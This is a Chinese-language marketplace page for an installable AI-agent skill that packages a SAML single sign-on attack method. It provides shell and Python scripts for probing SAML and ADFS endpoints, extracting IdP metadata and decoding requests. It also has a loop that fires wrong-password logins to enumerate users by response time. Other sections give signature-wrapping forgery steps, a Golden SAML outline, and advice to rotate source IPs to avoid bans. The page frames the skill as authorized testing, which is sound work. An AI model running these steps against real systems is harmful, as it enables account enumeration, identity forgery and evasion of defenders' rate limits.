mcpField
S
saml-sso-attack

saml-sso-attack

github.com/uphiago安全1.3k42 次安装8 周前更新
代码仓库

关于 saml-sso-attack

面向授权 SAML SSO 测试的安全技能,涵盖元数据与请求分析、常见 SAML 弱点检查,以及基于响应时间的用户枚举和验证流程。

主要功能

  1. 01IdP 元数据提取与分析
  2. 02解码 SAMLRequest
  3. 03测试 XML 签名包装
  4. 04检查签名剥离与重放
  5. 05基于响应时间的用户枚举

适用场景

  1. 01梳理 IdP 端点与签名元数据
  2. 02测试 SAML 响应验证
  3. 03评估 SSO 用户枚举风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill saml-sso-attack

安装后在 Claude Code 中输入/saml-sso-attack确认已加载。

详细介绍

SAML SSO 攻击技能

SAML 单点登录攻击方法论——IdP 元数据分析、XML 签名包装(XSW)、移除签名、在 NameID 中注入注释,以及基于 SSO 响应时间的用户枚举。已在 TARGET_ORG_A(SimpleSAMLphp IdP,WordPress SP 上有 79 个 XMLRPC 方法)、TARGET_ORG_B(Ory Kratos + OIDC)和 TARGET_ORG_C(暴露了 ADFS WS-Trust)上确认。

适用场景

  • 目标使用 SSO(重定向到 idp.、sso.、login.、auth. 子域名)。
  • URL 包含 SAMLRequest= 或 SAMLResponse= 参数。
  • 元数据端点可通过 /saml2/idp/metadata.php 或 /FederationMetadata/2007-06/FederationMetadata.xml 访问。
  • exchange-owa-attack 发现 ADFS 后。

前置条件

  • curl、python3。
  • 目标 SAML 端点 URL(来自侦察或元数据)。
  • 用于交互式测试的 SAML Raider Burp 扩展(可选)。

运行方法

# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
    root = ET.fromstring(content)
    for el in root.iter():
        if 'entityID' in el.attrib:
            print(f'entityID: {el.attrib[\"entityID\"]}')
"

# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"

快速参考

攻击前置条件影响
XML 签名包装(XSW)任意用户的有效签名断言冒充任意用户
移除签名服务器不验证签名是否存在完全伪造身份
在 NameID 中注入注释NameID 格式允许注释冒充用户
SAML 响应重放不验证 InResponseTo劫持会话
密钥混淆元数据中有多个签名证书使用不同密钥对断言签名
绕过受众限制不验证 Audience跨 SP 重用令牌
提取元数据公开的 IdP 元数据发现证书、端点和绑定
Golden SAML(漏洞利用后)窃取的 ADFS 令牌签名证书伪造令牌、冒充任意用户

流程

阶段 1 — 发现 SAML 端点
TARGET="$1"

echo "[*] SAML endpoint discovery on $TARGET"

# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"

for path in "${!SAML_PATHS[@]}"; do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
  [[ "$code" == "200" || "$code" == "302" ]] && echo "  [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
  sleep 1
done
阶段 2 — 提取 IdP 元数据
METADATA_URL="$1"  # e.g., https://idp.target.com/saml2/idp/metadata.php

echo "[*] Extracting SAML metadata from $METADATA_URL"

METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)

if [[ -z "$METADATA" ]]; then
  echo "[-] No metadata accessible"
  exit 1
fi

# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET

content = sys.stdin.read()
root = ET.fromstring(content)

# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
      'ds': 'http://www.w3.org/2000/09/xmldsig#'}

# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')

# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
    cert = cert_el.text.strip()
    print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')

# SSO endpoints
for el in root.iter():
    if 'Binding' in el.attrib:
        binding = el.attrib['Binding']
        location = el.attrib.get('Location', '')
        if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
            print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')

# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
    print(f'NameID Format: {el.text}')
" 2>/dev/null
阶段 3 — 解码并分析 SAMLRequest
SAML_B64="$1"  # from URL parameter or Burp

echo "[*] Decoding SAMLRequest"

echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET

raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
    decompressed = zlib.decompress(decoded, -15)
except:
    decompressed = decoded

xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])

root = ET.fromstring(xml)
print()
print('=== Analysis ===')

# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')

# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
    print(f'Issuer: {issuer_el.text}')

# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')

# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
    allow_create = policy_el.get('AllowCreate', 'false')
    fmt = policy_el.get('Format', 'unspecified')
    print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
阶段 4 — 基于 SSO 响应时间枚举用户
TARGET="$1"  # SSO login endpoint
USERS_FILE="$2"  # List of usernames/emails to test

echo "[*] SSO timing-based user enumeration"

# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response

while read -r user; do
  START=$(date +%s%N)
  curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
    "https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
  END=$(date +%s%N)
  ELAPSED=$(( (END - START) / 1000000 ))

  echo "  $user: ${ELAPSED}ms"
  sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20

echo "[*] Users with significantly higher response times likely exist"
阶段 5 — XML 签名包装(XSW)测试
TARGET="$1"

echo "[*] XSW vulnerability analysis"

# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation

echo "[*] Manual XSW test steps:"
echo "  1. Capture SAML Response from browser (Burp/DevTools)"
echo "  2. Decode SAMLResponse (base64 + inflate)"
echo "  3. Check: is Signature on Response or Assertion level?"
echo "  4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo "  5. Submit forged SAMLResponse to SP ACS endpoint"
echo "  6. If SP accepts → XSW confirmed"

注意事项

  • XSW 较为复杂。 需要理解 XML 命名空间、规范化和 SAML 响应结构。
  • SAML 消息较大。 URL 中的 SAMLResponse 可长达 4000 个字符以上。响应更常使用 POST 绑定。
  • SP 可能会验证 InResponseTo。 如果会验证,重放攻击将失败。可通过连续两次发送相同的 SAMLResponse 进行检查。
  • 移除签名只对存在缺陷的 SP 有效。 大多数现代 SP 都会拒绝未签名的断言。
  • 速率限制。 SSO 响应时间枚举和端点发现可能触发账户锁定或 IP 封禁。务必在请求之间加入 sleep(≥1s),并在生产环境的测试任务中使用一组源 IP。

验证

  • 元数据必须至少显示:实体 ID、签名证书、SSO 端点和 NameID 格式。
  • SAMLRequest 必须能解码为包含 Issuer、ID 和 NameIDPolicy 元素的有效 XML。
  • SSO 响应时间枚举必须显示有效用户与无效用户之间存在统计显著差异(>200ms)。
  • XSW:伪造的 SAMLResponse 必须被 SP 接受并创建有效会话。
  • 必须记录所有 SAML 端点:IdP 元数据 URL、SP ACS URL、绑定类型和证书详情。

现代 SAML CVE 与技术

CVE受影响对象影响年份
CVE-2025-25291ruby-saml ≤ 1.17.0通过 XSW / 签名混淆绕过身份验证2025
CVE-2025-25292ruby-saml ≤ 1.17.0通过解析器差异绕过身份验证2025
CVE-2024-45428GitLab(ruby-saml)绕过 SAML 身份验证——完全接管账户2024
CVE-2024-45409ruby-saml ≤ 1.16.0通过签名包装(XSW)绕过身份验证2024
CVE-2023-2813GitLab CE/EESAML 组声明验证错误2023
Golden SAML 攻击(后渗透)

获得 ADFS 服务的访问权限或提取令牌签名证书后:

  1. 提取 ADFS 令牌签名证书(.pfx 或私钥)。
  2. 使用 AADInternals 等工具或自定义 Python 脚本伪造 SAML 令牌。
  3. 冒充任意用户(包括仅限云端的身份),无需密码或 MFA。
  4. 适用于 Azure AD / Entra ID 联合域——伪造的令牌会被无限期信任。
SAML 工具
  • SAML Raider(Burp 扩展)——编码/解码、XSW、证书操作
  • SAMLReQuest(Burp 扩展)——轻量级 SAML 请求编辑器
  • saml2aws ——通过 SAML 使用 AWS SSO 的 CLI
  • AADInternals ——用于 Azure AD / Entra ID 的 PowerShell 工具包(Golden SAML)
  • ESPOOR ——SAML 消息操作工具

评论

支持 Markdown